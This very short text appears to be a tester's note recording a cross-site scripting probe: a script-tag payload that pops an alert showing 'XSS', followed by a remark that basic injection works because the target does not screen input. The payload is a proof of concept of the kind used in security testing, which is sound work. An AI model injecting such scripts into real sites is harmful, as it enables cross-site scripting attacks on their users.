<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>

basic injection works, it doesnt properly screen input